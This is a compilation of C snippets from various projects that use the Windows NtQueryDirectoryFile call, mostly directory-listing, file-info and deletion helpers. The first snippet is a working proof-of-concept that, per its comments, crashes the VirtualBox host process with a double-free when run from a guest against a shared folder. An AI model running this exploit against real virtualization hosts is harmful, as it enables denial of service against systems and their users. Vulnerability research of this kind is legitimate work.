int main(int argc, char **argv) { // Validate command line format. if (argc != 2) { printf("Usage: %s <path to a writable shared folder>\n", argv[0]); return 1; } // Initialize the PRNG. srand((unsigned int)time(NULL)); // Create a subdirectory dedicated to demonstrating the vulnerability. CHAR TmpDirectoryName[MAX_PATH]; _snprintf_s(TmpDirectoryName, sizeof(TmpDirectoryName), "%s\\vbox_crash", argv[1]); if (!CreateDirectoryA(TmpDirectoryName, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) { printf("CreateDirectory failed, %d\n", GetLastError()); return 1; } // Create 16 files with long (128-byte) names, which appears to always be sufficient to trigger the bug. CONST UINT kTempFilesCount = 16; CONST UINT kTempFilenameLength = 128; CHAR TmpFilename[kTempFilenameLength + 1], TmpFilePath[MAX_PATH]; memset(TmpFilename, 'A', kTempFilenameLength); TmpFilename[kTempFilenameLength] = '\0'; for (UINT i = 0; i < kTempFilesCount; i++) { _snprintf_s(TmpFilePath, sizeof(TmpFilePath), "%s\\%s.%u", TmpDirectoryName, TmpFilename, rand()); HANDLE hFile = CreateFileA(TmpFilePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("CreateFile#1 failed, %d\n", GetLastError()); return 1; } CloseHandle(hFile); } // Open the temporary directory. HANDLE hDirectory = CreateFileA(TmpDirectoryName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hDirectory == INVALID_HANDLE_VALUE) { printf("CreateFile#2 failed, %d\n", GetLastError()); return 1; } IO_STATUS_BLOCK iosb; FILE_DIRECTORY_INFORMATION fdi; // Perform the first call, with ReturnSingleEntry set to FALSE. NtQueryDirectoryFile(hDirectory, NULL, NULL, NULL, &iosb, &fdi, sizeof(fdi), FileDirectoryInformation, FALSE, NULL, TRUE); // Now make the same call, but with ReturnSingleEntry=TRUE. This should crash VirtualBox.exe on the host with a double-free exception. NtQueryDirectoryFile(hDirectory, NULL, NULL, NULL, &iosb, &fdi, sizeof(fdi), FileDirectoryInformation, TRUE, NULL, TRUE); // We should never reach here. CloseHandle(hDirectory); return 0; }
NTSTATUS WINAPI SafeNtQueryDirectoryFile( HANDLE hFile, HANDLE hEvent, PIO_APC_ROUTINE IoApcRoutine, PVOID IoApcContext, PIO_STATUS_BLOCK pIoStatusBlock, PVOID FileInformationBuffer, ULONG FileInformationBufferLength, FILE_INFORMATION_CLASS FileInfoClass, BOOLEAN bReturnOnlyOneEntry, PUNICODE_STRING PathMask, BOOLEAN bRestartQuery ) { NTSTATUS rc; if (CheckOldFunction(&OldNtQueryDirectoryFile)) rc=OldNtQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer, FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery); else rc=NtQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer, FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery); return rc; }
NTSTATUS query_one(POBJECT_ATTRIBUTES oa, PWSTR mask_str, BYTE *buffer, ULONG len, PIO_STATUS_BLOCK iosb) { UNICODE_STRING mask; HANDLE dir = 0; NTSTATUS r; init_us(&mask, mask_str); r = NtOpenFile( &dir, GENERIC_READ | FILE_LIST_DIRECTORY, oa, iosb, FILE_SHARE_READ, FILE_DIRECTORY_FILE ); if( r != STATUS_SUCCESS) return r; r = NtQueryDirectoryFile( dir, 0, 0, 0, iosb, buffer, len, FileBothDirectoryInformation, TRUE, &mask, TRUE); NtClose( dir ); return r; }
int XFindNextFile( unsigned int handle, PWIN32_FIND_DATA findFileData) { #ifdef DEBUG debugPrint("XFindNextFile handle=%d\n", handle); #endif IO_STATUS_BLOCK IoStatusBlock; FILE_DIRECTORY_INFORMATION FileInformation; ANSI_STRING FileMask; ANSI_STRING FileName; FILE_INFORMATION_CLASS FileInformationClass = FileDirectoryInformation; OBJECT_ATTRIBUTES Attributes; // and now actually do the looping over each file... memset(&FileInformation, 0, sizeof(FILE_DIRECTORY_INFORMATION)); NTSTATUS status = NtQueryDirectoryFile( (HANDLE)handle, NULL, NULL, NULL, &IoStatusBlock, &FileInformation, sizeof(FILE_DIRECTORY_INFORMATION), FileInformationClass, &FileMask, FALSE); if (!NT_SUCCESS(status)) return ERROR_NO_MORE_FILES; /*findFileData->dwFileAttributes = FileInformation.FileAttributes; findFileData->ftCreationTime = FileInformation.CreationTime.QuadPart; findFileData->ftLastAccessTime = FileInformation.LastAccessTime.QuadPart; findFileData->ftLastWriteTime = FileInformation.LastWriteTime.QuadPart; findFileData->nFileSize = FileInformation.AllocationSize.QuadPart;*/ strcpy(findFileData->cFileName, FileInformation.FileName); return STATUS_SUCCESS; }
VOID Directory( IN PCHAR String ) { NTSTATUS Status; HANDLE FileHandle; OBJECT_ATTRIBUTES ObjectAttributes; STRING NameString; IO_STATUS_BLOCK IoStatus; NTSTATUS NtStatus; PFILE_ADIRECTORY_INFORMATION FileInfo; ULONG i; // // Get the filename // simprintf("Directory ", 0); simprintf(String, 0); simprintf("\n", 0); // // Open the file for list directory access // RtlInitString( &NameString, String ); InitializeObjectAttributes( &ObjectAttributes, &NameString, 0, NULL, NULL ); if (!NT_SUCCESS(Status = NtOpenFile( &FileHandle, FILE_LIST_DIRECTORY | SYNCHRONIZE, &ObjectAttributes, &IoStatus, FILE_SHARE_READ, WriteThrough | FILE_DIRECTORY_FILE ))) { OpenFileError( Status , String ); return; } // // zero out the buffer so next time we'll recognize the end of data // for (i = 0; i < BUFFERSIZE; i += 1) { Buffer[i] = 0; } // // Do the directory loop // for (NtStatus = NtQueryDirectoryFile( FileHandle, (HANDLE)NULL, (PIO_APC_ROUTINE)NULL, (PVOID)NULL, &IoStatus, Buffer, BUFFERSIZE, FileADirectoryInformation, FALSE, (PSTRING)NULL, TRUE); NT_SUCCESS(NtStatus); NtStatus = NtQueryDirectoryFile( FileHandle, (HANDLE)NULL, (PIO_APC_ROUTINE)NULL, (PVOID)NULL, &IoStatus, Buffer, BUFFERSIZE, FileADirectoryInformation, FALSE, (PSTRING)NULL, FALSE) ) { if (!NT_SUCCESS(Status = NtWaitForSingleObject(FileHandle, TRUE, NULL))) { // NtPartyByNumber(50); WaitForSingleObjectError( Status ); return; } // // Check the Irp for success // if (!NT_SUCCESS(IoStatus.Status)) { break; } // // For every record in the buffer type out the directory information // // // Point to the first record in the buffer, we are guaranteed to have // one otherwise IoStatus would have been No More Files // FileInfo = (PFILE_ADIRECTORY_INFORMATION)&Buffer[0]; while (TRUE) { // // Print out information about the file // simprintf("%8lx ", FileInfo->FileAttributes); simprintf("%8lx/", FileInfo->EndOfFile.LowPart); simprintf("%8lx ", FileInfo->AllocationSize.LowPart); { CHAR Saved; Saved = FileInfo->FileName[FileInfo->FileNameLength]; FileInfo->FileName[FileInfo->FileNameLength] = 0; simprintf(FileInfo->FileName, 0); FileInfo->FileName[FileInfo->FileNameLength] = Saved; } simprintf("\n", 0); // // Check if there is another record, if there isn't then we // simply get out of this loop // if (FileInfo->NextEntryOffset == 0) { break; } // // There is another record so advance FileInfo to the next // record // FileInfo = (PFILE_ADIRECTORY_INFORMATION)(((PUCHAR)FileInfo) + FileInfo->NextEntryOffset); } // // zero out the buffer so next time we'll recognize the end of data // for (i = 0; i < BUFFERSIZE; i += 1) { Buffer[i] = 0; } } // // Now close the file // if (!NT_SUCCESS(Status = NtClose( FileHandle ))) { CloseError( Status ); } // // And return to our caller // return; }
NTSTATUS Directory_Enum( WCHAR* Directory, WCHAR* SearchPattern, SL_ENUM_DIRECTORY Callback ) { NTSTATUS status; IO_STATUS_BLOCK isb; BOOLEAN firstTime = TRUE; VOID *directoryHandle, *buffer; UINT32 bufferSize = 0x400; UINT32 i; UNICODE_STRING pattern; status = File_Create( &directoryHandle, Directory, FILE_LIST_DIRECTORY | SYNCHRONIZE, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL ); if (!NT_SUCCESS(status)) return status; buffer = Memory_Allocate(bufferSize); UnicodeString_Init(&pattern, SearchPattern); while (TRUE) { // Query the directory, doubling the buffer each time NtQueryDirectoryFile fails. while (TRUE) { status = NtQueryDirectoryFile( directoryHandle, NULL, NULL, NULL, &isb, buffer, bufferSize, FileDirectoryInformation, FALSE, &pattern, firstTime ); // Our ISB is on the stack, so we have to wait for the operation to complete // before continuing. if (status == STATUS_PENDING) { status = NtWaitForSingleObject(directoryHandle, FALSE, NULL); if (NT_SUCCESS(status)) status = isb.Status; } if (status == STATUS_BUFFER_OVERFLOW || status == STATUS_INFO_LENGTH_MISMATCH) { Memory_Free(buffer); bufferSize *= 2; buffer = Memory_Allocate(bufferSize); } else { break; } } // If we don't have any entries to read, exit. if (status == STATUS_NO_MORE_FILES) { status = STATUS_SUCCESS; break; } if (!NT_SUCCESS(status)) break; // Read the batch and execute the callback function for each file. i = 0; while (TRUE) { FILE_DIRECTORY_INFORMATION *information; information = (FILE_DIRECTORY_INFORMATION *)(((UINT_B)(buffer)) + i); if (Callback) Callback(Directory, information); if (information->NextEntryOffset != 0) i += information->NextEntryOffset; else break; } firstTime = FALSE; } Memory_Free(buffer); NtClose(directoryHandle); return status; }
// Querying the file ID from the file itself static int OnFileIdGetClick(HWND hDlg) { TFileTestData * pData = GetDialogData(hDlg); OBJECT_ATTRIBUTES ObjAttr; IO_STATUS_BLOCK IoStatus; UNICODE_STRING FolderName = {0, 0, NULL}; UNICODE_STRING FileName = {0, 0, NULL}; ULARGE_INTEGER FileId = {0}; NTSTATUS Status = STATUS_SUCCESS; HANDLE Handle = NULL; TCHAR szFileID[MAX_FILEID_PATH]; BYTE InfoBuff[0x200]; // Convert the file name to the NT file name if(NT_SUCCESS(Status)) { SaveDialog(hDlg); Status = FileNameToUnicodeString(&FolderName, pData->szFileName1); } // Get the directory name from the file name if(NT_SUCCESS(Status)) { PWSTR sz = FolderName.Buffer + (FolderName.Length / sizeof(WCHAR)); // Go back and find the last directory name while(sz > FolderName.Buffer && sz[0] != L'\\') sz--; // Did we find it? if(sz[0] == L'\\' && sz > FolderName.Buffer) { // Initialize the file name sz = sz + 1; RtlInitUnicodeString(&FileName, sz); // Cut the folder name. Make sure that the ending backslash is there, // because we don't want to open "\??\C:" instead of "\??\C:\" FolderName.MaximumLength = FolderName.Length = (USHORT)((sz - FolderName.Buffer) * sizeof(WCHAR)); // Attempt to open the folder and query the ID InitializeObjectAttributes(&ObjAttr, &FolderName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = NtOpenFile(&Handle, FILE_READ_DATA | SYNCHRONIZE, &ObjAttr, &IoStatus, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_ALERT); // If succeeded, we call for query directory on thet file if(NT_SUCCESS(Status)) { PFILE_ID_BOTH_DIR_INFORMATION pDirInfo = (PFILE_ID_BOTH_DIR_INFORMATION)InfoBuff; Status = NtQueryDirectoryFile(Handle, NULL, NULL, NULL, &IoStatus, pDirInfo, sizeof(InfoBuff), FileIdBothDirectoryInformation, TRUE, &FileName, FALSE); if(NT_SUCCESS(Status)) FileId.QuadPart = pDirInfo->FileId.QuadPart; NtClose(Handle); } } else { // Do it by Open - QueryID - Close InitializeObjectAttributes(&ObjAttr, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = NtOpenFile(&Handle, FILE_READ_ATTRIBUTES, &ObjAttr, &IoStatus, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0); if(NT_SUCCESS(Status)) { PFILE_INTERNAL_INFORMATION pFileInfo = (PFILE_INTERNAL_INFORMATION)InfoBuff; Status = NtQueryInformationFile(Handle, &IoStatus, pFileInfo, sizeof(FILE_INTERNAL_INFORMATION), FileInternalInformation); if(NT_SUCCESS(Status)) FileId.QuadPart = pFileInfo->IndexNumber.QuadPart; NtClose(Handle); } } } // Did we query the file ID just fine? if(NT_SUCCESS(Status)) { FileIDToString(pData, FileId.QuadPart, szFileID); SetDlgItemText(hDlg, IDC_FILE_ID, szFileID); } // On the end, set the file ID SetResultInfo(hDlg, RtlNtStatusToDosError(Status)); FreeFileNameString(&FolderName); return TRUE; }
static NTSTATUS NtRemoveDirectoryTree(POBJECT_ATTRIBUTES PtrObjectAttributes) { PFILE_DIRECTORY_INFORMATION pDirInfo; OBJECT_ATTRIBUTES ChildAttr; IO_STATUS_BLOCK IoStatus; UNICODE_STRING ChildPath; NTSTATUS DelStatus; NTSTATUS Status; HANDLE DirHandle = NULL; ULONG TryCount = 0; BYTE DirBuffer[0x300]; // Open the directory for enumeration+delete // Use FILE_OPEN_REPARSE_POINT, because the directory can be // a reparse point (even an invalid one) and still contain files/subdirs __TryOpenDirectory: Status = NtOpenFile(&DirHandle, FILE_LIST_DIRECTORY | DELETE | SYNCHRONIZE, PtrObjectAttributes, &IoStatus, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_ALERT | FILE_DELETE_ON_CLOSE | FILE_OPEN_REPARSE_POINT); // When the access is denied, we can try to reset the permissions if(Status == STATUS_ACCESS_DENIED && TryCount == 0) { Status = NtSetFileAccessToEveryone(PtrObjectAttributes, GENERIC_ALL | DELETE); if(NT_SUCCESS(Status)) { TryCount++; goto __TryOpenDirectory; } } if(NT_SUCCESS(Status)) { // Prepare the child object attributes and the pointer to directory entry InitializeObjectAttributes(&ChildAttr, &ChildPath, OBJ_CASE_INSENSITIVE, DirHandle, NULL); pDirInfo = (PFILE_DIRECTORY_INFORMATION)DirBuffer; // Work as long as we have something while(Status == STATUS_SUCCESS) { // Query a single item Status = NtQueryDirectoryFile(DirHandle, NULL, NULL, NULL, &IoStatus, pDirInfo, sizeof(DirBuffer), FileDirectoryInformation, TRUE, NULL, FALSE); if(Status == STATUS_SUCCESS && !IsDotDirectoryName(pDirInfo)) { // Create the child path ChildPath.MaximumLength = ChildPath.Length = (USHORT)pDirInfo->FileNameLength; ChildPath.Buffer = pDirInfo->FileName; // If the entry is a reparse point, we need to delete the reparse first if(pDirInfo->FileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) { Status = NtDeleteReparsePoint(&ChildAttr); if(!NT_SUCCESS(Status)) break; } // If the entry has the FILE_ATTRIBUTE_READONLY (both file/subdir), // we need to clear it first if(pDirInfo->FileAttributes & FILE_ATTRIBUTE_READONLY) { Status = NtSetFileAccessToEveryone(&ChildAttr, GENERIC_ALL | DELETE); if(!NT_SUCCESS(Status)) break; } // If this is a directory, we need to delete the directory if(pDirInfo->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) { Status = NtRemoveDirectoryTree(&ChildAttr); } else { Status = NtRemoveSingleFile(&ChildAttr); } } } // Close the directory handle, (also) performing the delete DelStatus = NtClose(DirHandle); if(NT_SUCCESS(Status) || Status == STATUS_NO_MORE_FILES) Status = DelStatus; } // Return the result return Status; }
/** * Fetches more data from the file system. * * @returns IPRT status code * @param pThis The directory instance data. */ static int rtDirNtFetchMore(PRTDIR pThis) { Assert(!pThis->fDataUnread); /* * Allocate the buffer the first time around. * We do this in lazy fashion as some users of RTDirOpen will not actually * list any files, just open it for various reasons. */ bool fFirst = false; if (!pThis->pabBuffer) { fFirst = false; pThis->cbBufferAlloc = _256K; pThis->pabBuffer = (uint8_t *)RTMemAlloc(pThis->cbBufferAlloc); if (!pThis->pabBuffer) { do { pThis->cbBufferAlloc /= 4; pThis->pabBuffer = (uint8_t *)RTMemAlloc(pThis->cbBufferAlloc); } while (pThis->pabBuffer == NULL && pThis->cbBufferAlloc > _4K); if (!pThis->pabBuffer) return VERR_NO_MEMORY; } } /* * Read more. */ NTSTATUS rcNt; IO_STATUS_BLOCK Ios = MY_IO_STATUS_BLOCK_INITIALIZER; if (pThis->enmInfoClass != (FILE_INFORMATION_CLASS)0) { #ifdef IPRT_WITH_NT_PATH_PASSTHRU if (pThis->enmInfoClass == FileMaximumInformation) { Ios.Information = 0; Ios.Status = rcNt = NtQueryDirectoryObject(pThis->hDir, pThis->pabBuffer, pThis->cbBufferAlloc, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, FALSE /*RestartScan*/, &pThis->uObjDirCtx, (PULONG)&Ios.Information); } else #endif rcNt = NtQueryDirectoryFile(pThis->hDir, NULL /* Event */, NULL /* ApcRoutine */, NULL /* ApcContext */, &Ios, pThis->pabBuffer, pThis->cbBufferAlloc, pThis->enmInfoClass, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, pThis->pNtFilterStr, FALSE /*RestartScan */); } else { /* * The first time around we have figure which info class we can use. * We prefer one which gives us file IDs, but we'll settle for less. */ pThis->enmInfoClass = FileIdBothDirectoryInformation; rcNt = NtQueryDirectoryFile(pThis->hDir, NULL /* Event */, NULL /* ApcRoutine */, NULL /* ApcContext */, &Ios, pThis->pabBuffer, pThis->cbBufferAlloc, pThis->enmInfoClass, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, pThis->pNtFilterStr, FALSE /*RestartScan */); if (!NT_SUCCESS(rcNt)) { pThis->enmInfoClass = FileBothDirectoryInformation; rcNt = NtQueryDirectoryFile(pThis->hDir, NULL /* Event */, NULL /* ApcRoutine */, NULL /* ApcContext */, &Ios, pThis->pabBuffer, pThis->cbBufferAlloc, pThis->enmInfoClass, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, pThis->pNtFilterStr, FALSE /*RestartScan */); } } if (!NT_SUCCESS(rcNt)) { if (rcNt == STATUS_NO_MORE_FILES || rcNt == STATUS_NO_MORE_ENTRIES) return VERR_NO_MORE_FILES; return RTErrConvertFromNtStatus(rcNt); } Assert(Ios.Information > sizeof(*pThis->uCurData.pBoth)); /* * Set up the data members. */ pThis->uCurData.u = (uintptr_t)pThis->pabBuffer; pThis->cbBuffer = Ios.Information; int rc = rtDirNtCheckRecord(pThis); pThis->fDataUnread = RT_SUCCESS(rc); return rc; }
/** * Worker for RTPathQueryInfoEx and RTDirRelPathQueryInfo. * * @returns IPRT status code. * @param hRootDir The root directory that pNtName is relative to. * @param pNtName The NT path which we want to query info for. * @param pObjInfo Where to return the info. * @param enmAddAttr What additional info to get/fake. * @param fFlags Query flags (RTPATH_F_XXX). * @param pszPath The path for detecting executables and such. * Pass empty string if not applicable/available. */ DECLHIDDEN(int) rtPathNtQueryInfoWorker(HANDLE hRootDir, UNICODE_STRING *pNtName, PRTFSOBJINFO pObjInfo, RTFSOBJATTRADD enmAddAttr, uint32_t fFlags, const char *pszPath) { /* * There are a three different ways of doing this: * 1. Use NtQueryFullAttributesFile to the get basic file info. * 2. Open whatever the path points to and use NtQueryInformationFile. * 3. Open the parent directory and use NtQueryDirectoryFile like RTDirReadEx. * * The first two options may fail with sharing violations or access denied, * in which case we must use the last one as fallback. */ HANDLE hFile = RTNT_INVALID_HANDLE_VALUE; IO_STATUS_BLOCK Ios = RTNT_IO_STATUS_BLOCK_INITIALIZER; NTSTATUS rcNt; OBJECT_ATTRIBUTES ObjAttr; union { FILE_NETWORK_OPEN_INFORMATION NetOpenInfo; FILE_ALL_INFORMATION AllInfo; FILE_FS_VOLUME_INFORMATION VolInfo; FILE_BOTH_DIR_INFORMATION Both; FILE_ID_BOTH_DIR_INFORMATION BothId; uint8_t abPadding[sizeof(FILE_ID_BOTH_DIR_INFORMATION) + RTPATH_MAX * sizeof(wchar_t)]; } uBuf; /* * We can only use the first option if no additional UNIX attribs are * requested and it isn't a symbolic link. NT directory object */ int rc = VINF_TRY_AGAIN; if ( enmAddAttr != RTFSOBJATTRADD_UNIX && g_pfnNtQueryFullAttributesFile) { InitializeObjectAttributes(&ObjAttr, pNtName, OBJ_CASE_INSENSITIVE, hRootDir, NULL); rcNt = g_pfnNtQueryFullAttributesFile(&ObjAttr, &uBuf.NetOpenInfo); if (NT_SUCCESS(rcNt)) { if (!(uBuf.NetOpenInfo.FileAttributes & FILE_ATTRIBUTE_REPARSE_POINT)) { pObjInfo->cbObject = uBuf.NetOpenInfo.EndOfFile.QuadPart; pObjInfo->cbAllocated = uBuf.NetOpenInfo.AllocationSize.QuadPart; RTTimeSpecSetNtTime(&pObjInfo->BirthTime, uBuf.NetOpenInfo.CreationTime.QuadPart); RTTimeSpecSetNtTime(&pObjInfo->AccessTime, uBuf.NetOpenInfo.LastAccessTime.QuadPart); RTTimeSpecSetNtTime(&pObjInfo->ModificationTime, uBuf.NetOpenInfo.LastWriteTime.QuadPart); RTTimeSpecSetNtTime(&pObjInfo->ChangeTime, uBuf.NetOpenInfo.ChangeTime.QuadPart); pObjInfo->Attr.fMode = rtFsModeFromDos((uBuf.NetOpenInfo.FileAttributes << RTFS_DOS_SHIFT) & RTFS_DOS_MASK_NT, pszPath, strlen(pszPath), 0 /*uReparseTag*/); pObjInfo->Attr.enmAdditional = enmAddAttr; return rtPathNtQueryInfoFillInDummyData(VINF_SUCCESS, pObjInfo, enmAddAttr); } } else if ( rcNt == STATUS_OBJECT_TYPE_MISMATCH || rcNt == STATUS_OBJECT_NAME_INVALID || rcNt == STATUS_INVALID_PARAMETER) { rc = rtPathNtQueryInfoInDirectoryObject(&ObjAttr, pObjInfo, enmAddAttr, fFlags, &uBuf, sizeof(uBuf), rcNt); if (RT_SUCCESS(rc)) return rc; } else if ( rcNt != STATUS_ACCESS_DENIED && rcNt != STATUS_SHARING_VIOLATION) rc = RTErrConvertFromNtStatus(rcNt); else RTNT_IO_STATUS_BLOCK_REINIT(&Ios); } /* * Try the 2nd option. We might have to redo this if not following symbolic * links and the reparse point isn't a symbolic link but a mount point or similar. * We want to return information about the mounted root directory if we can, not * the directory in which it was mounted. */ if (rc == VINF_TRY_AGAIN) { static int volatile g_fReparsePoints = -1; uint32_t fOptions = FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT; int fReparsePoints = g_fReparsePoints; if (fReparsePoints != 0 && !(fFlags & RTPATH_F_FOLLOW_LINK)) fOptions |= FILE_OPEN_REPARSE_POINT; InitializeObjectAttributes(&ObjAttr, pNtName, OBJ_CASE_INSENSITIVE, hRootDir, NULL); rcNt = NtCreateFile(&hFile, FILE_READ_ATTRIBUTES | SYNCHRONIZE, &ObjAttr, &Ios, NULL /*pcbFile*/, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, fOptions, NULL /*pvEaBuffer*/, 0 /*cbEa*/); if ( ( rcNt == STATUS_INVALID_PARAMETER || rcNt == STATUS_INVALID_PARAMETER_9) && fReparsePoints == -1 && (fOptions & FILE_OPEN_REPARSE_POINT)) { fOptions &= ~FILE_OPEN_REPARSE_POINT; rcNt = NtCreateFile(&hFile, FILE_READ_ATTRIBUTES | SYNCHRONIZE, &ObjAttr, &Ios, NULL /*pcbFile*/, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, fOptions, NULL /*pvEaBuffer*/, 0 /*cbEa*/); if (rcNt != STATUS_INVALID_PARAMETER) g_fReparsePoints = fReparsePoints = 0; } if (NT_SUCCESS(rcNt)) { /* Query tag information first in order to try re-open non-symlink reparse points. */ FILE_ATTRIBUTE_TAG_INFORMATION TagInfo; rcNt = NtQueryInformationFile(hFile, &Ios, &TagInfo, sizeof(TagInfo), FileAttributeTagInformation); if (!NT_SUCCESS(rcNt)) TagInfo.FileAttributes = TagInfo.ReparseTag = 0; if ( !(TagInfo.FileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) || TagInfo.ReparseTag == IO_REPARSE_TAG_SYMLINK || (fFlags & RTPATH_F_FOLLOW_LINK)) { /* likely */ } else { /* Reparse point that isn't a symbolic link, try follow the reparsing. */ HANDLE hFile2; RTNT_IO_STATUS_BLOCK_REINIT(&Ios); rcNt = NtCreateFile(&hFile2, FILE_READ_ATTRIBUTES | SYNCHRONIZE, &ObjAttr, &Ios, NULL /*pcbFile*/, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT, NULL /*pvEaBuffer*/, 0 /*cbEa*/); if (NT_SUCCESS(rcNt)) { NtClose(hFile); hFile = hFile2; TagInfo.FileAttributes = TagInfo.ReparseTag = 0; } } /* * Get the information we need and convert it. */ rc = rtPathNtQueryInfoFromHandle(hFile, &uBuf, sizeof(uBuf), pObjInfo, enmAddAttr, pszPath, TagInfo.ReparseTag); NtClose(hFile); if (RT_SUCCESS(rc)) return rc; if (RT_FAILURE(rc)) rc = VINF_TRY_AGAIN; } else if ( rcNt == STATUS_OBJECT_TYPE_MISMATCH || rcNt == STATUS_OBJECT_NAME_INVALID /*|| rcNt == STATUS_INVALID_PARAMETER*/) { rc = rtPathNtQueryInfoInDirectoryObject(&ObjAttr, pObjInfo, enmAddAttr, fFlags, &uBuf, sizeof(uBuf), rcNt); if (RT_SUCCESS(rc)) return rc; } else if ( rcNt != STATUS_ACCESS_DENIED && rcNt != STATUS_SHARING_VIOLATION) rc = RTErrConvertFromNtStatus(rcNt); else RTNT_IO_STATUS_BLOCK_REINIT(&Ios); } /* * Try the 3rd option if none of the other worked. * If none of the above worked, try open the directory and enumerate * the file we're after. This */ if (rc == VINF_TRY_AGAIN) { /* Split up the name into parent directory path and filename. */ UNICODE_STRING NtDirName; UNICODE_STRING NtFilter; ntPathNtSplitName(pNtName, &NtDirName, &NtFilter, false /*fNoParentDirSlash*/); /* Try open the directory. */ InitializeObjectAttributes(&ObjAttr, &NtDirName, OBJ_CASE_INSENSITIVE, hRootDir, NULL); rcNt = NtCreateFile(&hFile, FILE_LIST_DIRECTORY | SYNCHRONIZE, &ObjAttr, &Ios, NULL /*pcbFile*/, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_DIRECTORY_FILE | FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT, NULL /*pvEaBuffer*/, 0 /*cbEa*/); if (NT_SUCCESS(rcNt)) { FILE_INFORMATION_CLASS enmInfoClass; if (RT_MAKE_U64(RTNtCurrentPeb()->OSMinorVersion, RTNtCurrentPeb()->OSMajorVersion) > RT_MAKE_U64(0,5) /* > W2K */) enmInfoClass = FileIdBothDirectoryInformation; /* Introduced in XP, from I can tell. */ else enmInfoClass = FileBothDirectoryInformation; rcNt = NtQueryDirectoryFile(hFile, NULL /* Event */, NULL /* ApcRoutine */, NULL /* ApcContext */, &Ios, &uBuf, RT_MIN(sizeof(uBuf), 0xfff0), enmInfoClass, TRUE /*ReturnSingleEntry */, &NtFilter, FALSE /*RestartScan */); if (NT_SUCCESS(rcNt)) { pObjInfo->cbObject = uBuf.Both.EndOfFile.QuadPart; pObjInfo->cbAllocated = uBuf.Both.AllocationSize.QuadPart; RTTimeSpecSetNtTime(&pObjInfo->BirthTime, uBuf.Both.CreationTime.QuadPart); RTTimeSpecSetNtTime(&pObjInfo->AccessTime, uBuf.Both.LastAccessTime.QuadPart); RTTimeSpecSetNtTime(&pObjInfo->ModificationTime, uBuf.Both.LastWriteTime.QuadPart); RTTimeSpecSetNtTime(&pObjInfo->ChangeTime, uBuf.Both.ChangeTime.QuadPart); pObjInfo->Attr.fMode = rtFsModeFromDos((uBuf.Both.FileAttributes << RTFS_DOS_SHIFT) & RTFS_DOS_MASK_NT, pszPath, strlen(pszPath), uBuf.Both.EaSize); pObjInfo->Attr.enmAdditional = enmAddAttr; if (enmAddAttr == RTFSOBJATTRADD_UNIX) { pObjInfo->Attr.u.Unix.uid = ~0U; pObjInfo->Attr.u.Unix.gid = ~0U; pObjInfo->Attr.u.Unix.cHardlinks = 1; pObjInfo->Attr.u.Unix.INodeIdDevice = 0; /* below */ pObjInfo->Attr.u.Unix.INodeId = enmInfoClass == FileIdBothDirectoryInformation ? uBuf.BothId.FileId.QuadPart : 0; pObjInfo->Attr.u.Unix.fFlags = 0; pObjInfo->Attr.u.Unix.GenerationId = 0; pObjInfo->Attr.u.Unix.Device = 0; /* Get the serial number. */ rcNt = NtQueryVolumeInformationFile(hFile, &Ios, &uBuf, RT_MIN(sizeof(uBuf), _2K), FileFsVolumeInformation); if (NT_SUCCESS(rcNt)) pObjInfo->Attr.u.Unix.INodeIdDevice = uBuf.VolInfo.VolumeSerialNumber; } rc = rtPathNtQueryInfoFillInDummyData(VINF_SUCCESS, pObjInfo, enmAddAttr); } else rc = RTErrConvertFromNtStatus(rcNt); NtClose(hFile); } /* * Quite possibly a object directory. */ else if ( rcNt == STATUS_OBJECT_NAME_INVALID /* with trailing slash */ || rcNt == STATUS_OBJECT_TYPE_MISMATCH /* without trailing slash */ ) { InitializeObjectAttributes(&ObjAttr, pNtName, OBJ_CASE_INSENSITIVE, hRootDir, NULL); rc = rtPathNtQueryInfoInDirectoryObject(&ObjAttr, pObjInfo, enmAddAttr, fFlags, &uBuf, sizeof(uBuf), rcNt); if (RT_FAILURE(rc)) rc = RTErrConvertFromNtStatus(rcNt); } else rc = RTErrConvertFromNtStatus(rcNt); } return rc; }
